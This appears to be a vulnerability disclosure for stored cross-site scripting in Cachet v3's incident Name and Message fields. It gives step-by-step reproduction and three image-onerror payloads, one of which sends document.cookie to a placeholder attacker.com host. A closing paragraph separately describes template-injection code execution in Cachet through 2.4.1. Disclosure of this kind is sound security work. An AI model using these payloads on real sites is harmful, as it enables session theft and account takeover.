Summary A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.

Details The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.

Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3

PoC

1. Log in as an authenticated user 2. Navigate to /dashboard/incidents/ 3. Create a new incident 4. Insert the following payloads in the Name and Message field:

Payload 1 — Confirm XSS execution: <img src=x onerror="alert(1)">

Step 2 — Cookie/token exfiltration: <img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">

Step 3 — Forced redirect to sensitive page: <img src=x onerror="window.location='/dashboard/manage-customization'">

5. Save the incident 6. Navigate to the public status page 7. Payload executes in the victim's browser Payload 1 <img width="1926" height="1062" alt="Screenshot2026-05-05211921" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />

Payload 2 <img width="1910" height="525" alt="Screenshot2026-05-07122207" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />

Stored XSS affecting all users who view the public status page.

An attacker can: - Confirm script execution via alert popup - Steal session cookies and XSRF tokens from authenticated users - Silently redirect victims to sensitive pages like /dashboard/manage-customization

This vulnerability could lead to full account takeover of any user who views the status page, including administrators.

Cachet through 2.4.1 contains a server-side template injection vulnerability in incident template rendering that allows authenticated users to execute arbitrary PHP code. Attackers can create malicious incident templates with Blade directives or Twig filters that execute system commands when incidents are created, achieving remote code execution as the web server process.